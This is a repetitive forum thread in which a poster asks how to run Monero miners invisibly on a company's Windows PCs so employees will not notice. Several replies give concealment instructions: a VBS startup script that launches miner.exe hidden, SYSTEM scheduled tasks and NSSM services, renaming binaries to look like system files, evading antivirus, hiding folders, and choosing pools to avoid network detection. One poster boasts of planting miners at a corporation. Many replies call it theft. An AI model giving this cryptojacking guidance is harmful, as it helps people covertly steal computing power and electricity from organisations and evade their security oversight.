Topic: How to start a hidden miner? (Read 1436 times)
Are they domain joined? Maybe you can push something out via GPO? Task schedular seems to be your best bet, start maybe 6pm and end at 8am. godspeed OP
google
run exe as service
for windows that is, and having admin rights. Also make sure you allow it through the firewall.
Click the Start button and type firewall
then select windows defender firewall WITH Advanced Security.
in the left hand columns you can pick inbound and outbound.
If you really own the PC's you could set up SSH and/or API and allow inbound.
If you don't own them, you'll just let the admin know where/who you are
run exe as service
for windows that is, and having admin rights. Also make sure you allow it through the firewall.
Click the Start button and type firewall
then select windows defender firewall WITH Advanced Security.
in the left hand columns you can pick inbound and outbound.
If you really own the PC's you could set up SSH and/or API and allow inbound.
If you don't own them, you'll just let the admin know where/who you are
Usually such miners use hackers.
I am against such methods of earning at the expense of other people and organizations.
I am against such methods of earning at the expense of other people and organizations.
Installing a mining program requires an admin rights, do you have these rights? And are you sure that every windows profile (you are talking about company) will run your program automatically? 
You would really require admin rights but basing on his statement he do able to set-it up on his own office pc so it would be possible to be put up on other pc's as well yet majority of them would have the same set-up since this is a company this isnt a personal pc on your own that you can freely set personal passwords or customize it.Starting a hidden miner?It wont really be worth if the company caught you,those small satoshi earnings wont be enough for you to bail when you are imprisoned. We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
Yes, then you come to the store to buy a computer. And there such guys mine on them killing all the processes. Great idea. Let the office go broke. Let employees work slower. The main thing to install on account computers. What would all the bulhattery burn in case of anything)
You'll want to properly test this when there are no employees present - one thing to consider is that when ALL computer systems are running and drawing a lot of power depending on how your building was wired up this may present power draw issues... It happened to me where I would pop the breakers and the whole floor would go down... pretty embarassing to deal with.
Another thing to consider is the heat - if the room heats up significantly when the equipment is mining then it's best to have everything power down several hours before employees return otherwise you may get complaints.
Another thing to consider is the heat - if the room heats up significantly when the equipment is mining then it's best to have everything power down several hours before employees return otherwise you may get complaints.
Installing a mining program requires an admin rights, do you have these rights? And are you sure that every windows profile (you are talking about company) will run your program automatically?
Good thinking! i am about to start the same thing. as far as i worked out, you have to figure out general awareness in your company about this subject. some may don't even know what it is. then you should to work with antivirus so it won't destroy your plans and then give to the files different names so even if it's detected it wouldn't be considered as suspicious.
Jesus! can everyone just shut up about this now.
The OP asked a question, and it has been answered. The OP did not ask for peoples legal or moral opinions on this subject.
There are lots of legitimate reasons why you wouldn't want a console showing on the desktop.
So can everyone stop making assumptions and stick to answering questions with based on your technical knowledge and not what the ten commandments say.
Maybe TS got an answer to his question, but that does not mean that people can not continue to debate on this topic. If we have this theme the there is no sense create themes with similar specificity. We can talk about it here. The OP asked a question, and it has been answered. The OP did not ask for peoples legal or moral opinions on this subject.
There are lots of legitimate reasons why you wouldn't want a console showing on the desktop.
So can everyone stop making assumptions and stick to answering questions with based on your technical knowledge and not what the ten commandments say.
Jesus! can everyone just shut up about this now.
The OP asked a question, and it has been answered. The OP did not ask for peoples legal or moral opinions on this subject.
There are lots of legitimate reasons why you wouldn't want a console showing on the desktop.
So can everyone stop making assumptions and stick to answering questions with based on your technical knowledge and not what the ten commandments say.
The OP asked a question, and it has been answered. The OP did not ask for peoples legal or moral opinions on this subject.
There are lots of legitimate reasons why you wouldn't want a console showing on the desktop.
So can everyone stop making assumptions and stick to answering questions with based on your technical knowledge and not what the ten commandments say.
It maybe to early to conclude any hypothesis or scenario but I hope the OP might appreciate any unsolicited advice he / she could get from the community that could possibly save him / her from any trouble. I think we as members of this community should have a little bit of social responsibility and should give importance to the welfare of others too. Imho.
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One hint on how fast detection happens on a miner in a business that is properly secured is an alert happens within 5 seconds of the miner being attempted to execute and the miner is not able to execute, so you lose your job over zero profit. Considering the cost of the job loss the math turns to a loss for attempting this at work.
you clearly overlooked the fact that a vpn is a typical solution to staying anonymous.... [and i'm not here to nitpick on hypotheticals]I know this works even today, because I installed several miners at [insert silicon valley corporate company's name here] on a rack designated for his department.... and they have strict rules as well.
Check task manager
anyone don't know what task manager program running when have hidden job working by miner. when miner work with web, we can look at task manager process mozilla or chrome cpu high over 90-100%. there is hard for looking for hidden software mining name when not running on browser and task manager prosesing not detected
One hint on how fast detection happens on a miner in a business that is properly secured is an alert happens within 5 seconds of the miner being attempted to execute and the miner is not able to execute, so you lose your job over zero profit. Considering the cost of the job loss the math turns to a loss for attempting this at work.
Do not forget that as soon they will realize that, you can get into big troubles - it is a crime and you can go to the jail. Would you risk it for few dollars?
Jesus! can everyone just shut up about this now.
The OP asked a question, and it has been answered. The OP did not ask for peoples legal or moral opinions on this subject.
There are lots of legitimate reasons why you wouldn't want a console showing on the desktop.
So can everyone stop making assumptions and stick to answering questions with based on your technical knowledge and not what the ten commandments say.
The OP asked a question, and it has been answered. The OP did not ask for peoples legal or moral opinions on this subject.
There are lots of legitimate reasons why you wouldn't want a console showing on the desktop.
So can everyone stop making assumptions and stick to answering questions with based on your technical knowledge and not what the ten commandments say.
If you are truly the owner of that company, I suggest you buy a mining rig which is often more profitable that cpu's. If not, I wouldn't advice anything like this activity since it could lead you to severe consequences like losing your job! Any unauthorized crypto mining will generate huge costs to your company's electric bill and in effect is a pilferage and that you could cause harm to your company which could put you on a legal predicament that greatly overshadows the benefits of mining. Imho.
I do not know how profitable this is at the moment, but I have seen how popular mining has been over time. I would have launched this with mining the veil coin but do not know if anyone is currently doing that here
You should calculate the risk involved in getting caught vs the amount of extra money you will make. From cpu mining it won't buy you a lambo so is it worth risking your career?
A hidden miner installed by an employee can be considered theft. If your company security team knows anything about security they would know how to block this and locate who installed it. This could be blocked down at the endpoint or at the network level. Definitely not worth the risk of getting fired for a few dollars.
Well said! This is really considered as theft yet you dont have any permissions on installing up these hidden miners.We cant still consider to be a penny income yet if the companydo have lots of pc's then the amount would be recognizable but well on exchange you are risking up your work/job once caught.
In general, installation in the workplace is definitely not good idea, if the topstarter thinks about it - please think again
Yes, it is really ideal to run up hidden miners but if the owner itself doesnt have any awareness on what you are doing then its completely theft or simply illegal.
I wont really risk my job for this kind of thing if were on the shoes of OP.
Guys, I have the opposite problem, please tell me how to detect a hidden miner. Recently, my work computer has become noticeably slower. It seems to me that our IT specialist decided to earn extra money and did not inform anyone))
Check task manager
A hidden miner installed by an employee can be considered theft. If your company security team knows anything about security they would know how to block this and locate who installed it. This could be blocked down at the endpoint or at the network level. Definitely not worth the risk of getting fired for a few dollars.
Well said! This is really considered as theft yet you dont have any permissions on installing up these hidden miners.We cant still consider to be a penny income yet if the companydo have lots of pc's then the amount would be recognizable but well on exchange you are risking up your work/job once caught.
In general, installation in the workplace is definitely not good idea, if the topstarter thinks about it - please think again
A hidden miner installed by an employee can be considered theft. If your company security team knows anything about security they would know how to block this and locate who installed it. This could be blocked down at the endpoint or at the network level. Definitely not worth the risk of getting fired for a few dollars.
Well said! This is really considered as theft yet you dont have any permissions on installing up these hidden miners.We cant still consider to be a penny income yet if the companydo have lots of pc's then the amount would be recognizable but well on exchange you are risking up your work/job once caught.
A hidden miner installed by an employee can be considered theft. If your company security team knows anything about security they would know how to block this and locate who installed it. This could be blocked down at the endpoint or at the network level. Definitely not worth the risk of getting fired for a few dollars.
I use the job planner and run the miners on behalf of the user "system" when turning on the computer. You can also configure the BIOS to turn on the computer after a working day, and in the same scheduler turn it off before people come to work 
This is probably the most appropriate and most ethical solution to your problem. The use of computing power of computers in the daytime, when everyone is working behind them, is not an ethical way to mine cryptocurrency. In addition, your superiors will not like it if it finds out about your uncoordinated actions. In any case, the choice is yours. 
While running this could get you fired from your day job, this resource is good for tapping unused CPU processing power. I will try this in the months to come and give feedback if it's really hidden and unnoticeable.
"Hide in plain sight"
when you run this maybe you can use it in your workplace if you work in an office, so every employee who activates a computer will do mining too but I think that is very dangerous because it will reduce the performance of computers used for mining. "Hide in plain sight"
Guys, I have the opposite problem, please tell me how to detect a hidden miner. Recently, my work computer has become noticeably slower. It seems to me that our IT specialist decided to earn extra money and did not inform anyone))
Having this problem too. It seems that someone managed to put a hidden miner in my computer and my anti-virus or anything that could block potential risk is not detecting it. Any help would be appreciated
Guys, I have the opposite problem, please tell me how to detect a hidden miner. Recently, my work computer has become noticeably slower. It seems to me that our IT specialist decided to earn extra money and did not inform anyone))
Check task manager
Guys, I have the opposite problem, please tell me how to detect a hidden miner. Recently, my work computer has become noticeably slower. It seems to me that our IT specialist decided to earn extra money and did not inform anyone))
While running this could get you fired from your day job, this resource is good for tapping unused CPU processing power. I will try this in the months to come and give feedback if it's really hidden and unnoticeable.
"Hide in plain sight"
"Hide in plain sight"
im using this solution:
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
best solution
thanks
zac
I made a version specifically for hidding (xmr-stak): https://github.com/rapid821/xmr-stak-hide/releases
will this work with the new fork cyrptonight r ?
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https://bitcointalksearch.org/topic/m.17921405
Simple script i posted some time ago.... only needs admin priv.
Simple script i posted some time ago.... only needs admin priv.
@rapid821
Have test the miner... have configured, and start..
In Task Manager i see the .exe , window is hidden, but no cpu are in use..
Any idea.?
Thx
Have test the miner... have configured, and start..
In Task Manager i see the .exe , window is hidden, but no cpu are in use..
Any idea.?
Thx
did you get this working?
@rapid821
Have test the miner... have configured, and start..
In Task Manager i see the .exe , window is hidden, but no cpu are in use..
Any idea.?
Thx
Have test the miner... have configured, and start..
In Task Manager i see the .exe , window is hidden, but no cpu are in use..
Any idea.?
Thx
Make sure you install it on your main sql server and everyone in accounting. that one miner from russia stays pretty hidden
Very cool, thanks for the tip;
Something I did for convenience is create a service with NSSM (https://nssm.cc) to run the miner.
NSSM can be configured to keep the console hidden and has options for user, cup-priority and affinity and so on.
Then you could just create a scheduled task to start/stop the miner automatically when you would want it to run or not.
Just rename the exe of the miner and put it somewhere in the system files, as it will be shown in the task manager.
Just an idea: maybe more covert would be to do the mining through a web based miner and then include that in NSSM.
The user would only see a browser process in his task manager but would not be able to interact with the window (hidden).
NSSM can be configured to keep the console hidden and has options for user, cup-priority and affinity and so on.
Then you could just create a scheduled task to start/stop the miner automatically when you would want it to run or not.
Just rename the exe of the miner and put it somewhere in the system files, as it will be shown in the task manager.
Just an idea: maybe more covert would be to do the mining through a web based miner and then include that in NSSM.
The user would only see a browser process in his task manager but would not be able to interact with the window (hidden).
minergate admin version running as a service. i tried it before and works as well.
https://minergate.com/downloads/console
also you can write a bat file for windows scheduled tasks to schedule specified times.
https://minergate.com/downloads/console
also you can write a bat file for windows scheduled tasks to schedule specified times.
I made a version specifically for hidding (xmr-stak): https://github.com/rapid821/xmr-stak-hide/releases
Minergate is not the best program but it has a console version which is well hidden.
I use xmr-stak-cpu. Excellent miner for processors from Intel. It is easy to configure (knowing the amount of smartcash and the presence of AES) and antiviruses do not delete it.
Minergate is not the best program but it has a console version which is well hidden.
I use the job planner and run the miners on behalf of the user "system" when turning on the computer. You can also configure the BIOS to turn on the computer after a working day, and in the same scheduler turn it off before people come to work
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
Here you go, don't get fired
http://www.robvanderwoude.com/battech_hideconsole.phpThis worked, thanks!
Also thanks turanz and joblo for your great ideas.
I am considering all your suggestions guys. Did not expect this amount of useful answers, you guys are a great community
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
To actually answer the question, use the task scheduler to run it "whether a user logs in or not" at every boot and it will not open a cmd window
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
Here you go, don't get fired
http://www.robvanderwoude.com/battech_hideconsole.phpGet fired from the company he owns?
lol he doesnt own it, if he owned it he would be damned about what the employees think about some 'wierd' screen haha
he probabaly just said that to keep people off his case
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
Here you go, don't get fired
http://www.robvanderwoude.com/battech_hideconsole.phpGet fired from the company he owns?
It's not the "weird screen" that will worry employees, it's the mysterious process using so much CPU.
You're trying to run a program often identified as malware and trying to do it surrepticiously.
No, that won't raise any suspicion.
If you're really the owner you way overspent on your PCs if you can run a CPU miner without affecting
the primary task. Not the move of a smart business owner.
You will be found out by the employees, your deception will be exposed, and your integrity as a boss/owner damaged.
Or you're lying and just an employee trying to scam your boss.
Either way you're a lyer, but I say do it, and get caught. People like you need to be exposed.
You're trying to run a program often identified as malware and trying to do it surrepticiously.
No, that won't raise any suspicion.
If you're really the owner you way overspent on your PCs if you can run a CPU miner without affecting
the primary task. Not the move of a smart business owner.
You will be found out by the employees, your deception will be exposed, and your integrity as a boss/owner damaged.
Or you're lying and just an employee trying to scam your boss.
Either way you're a lyer, but I say do it, and get caught. People like you need to be exposed.
im using this solution:
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
I have tried the same, this is working perfectly. Don't forget to "super hide" the folder. And one important thing is, don't use all CPU resources, 50% it's enough.
nice topic , i found it without search about it 
lol you should probably tell your employees
A couple suggestions to be a bit more discreet.
- Rename the application files to something other than XMR Stak, something obscure and generic like "system" "netsys" etc.... so if noticed by someone it won't be a dead give away on a Google search of "xmr stak" or even worse they know what XMR is, mining is popular you'd be surprised who is doing it.
- Run it as a scheduled task off hours, don't get greedy *edit "owner"
- Make sure anti-virus doesn't flag the software, this is a sure way to bring attention to the PC and applications running on it.
- Mine local pools as to not generate out of the country traffic that will look suspicious if it is big enough network to have advanced firewalls and net security.
Good luck, happy mining.
- Rename the application files to something other than XMR Stak, something obscure and generic like "system" "netsys" etc.... so if noticed by someone it won't be a dead give away on a Google search of "xmr stak" or even worse they know what XMR is, mining is popular you'd be surprised who is doing it.
- Run it as a scheduled task off hours, don't get greedy *edit "owner"
- Make sure anti-virus doesn't flag the software, this is a sure way to bring attention to the PC and applications running on it.
- Mine local pools as to not generate out of the country traffic that will look suspicious if it is big enough network to have advanced firewalls and net security.
Good luck, happy mining.
im using this solution:
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
CreateObject("Wscript.Shell").Run "miner.exe",0,True
Save as filename.vbs and drag to startup windows folder
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
Here you go, don't get fired
http://www.robvanderwoude.com/battech_hideconsole.php
We have a lot of windows computers in the company I own. All of them with expensive and fast CPUs. Already did some calculations and even with a low CPU usage (0 impact in the tasks we need to do) It would be very profitable to mine!
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
I want to configure some cryptonight miners running in background (no screen, no terminal) so employees won't get worried about "that weird screen".
I tried autorunning a .bat with this code: START /B xmr-stak-cpu
However It's not what I wanted and reopens the miner immediately.
Any ideas about how should I do this?
Thanks in advance
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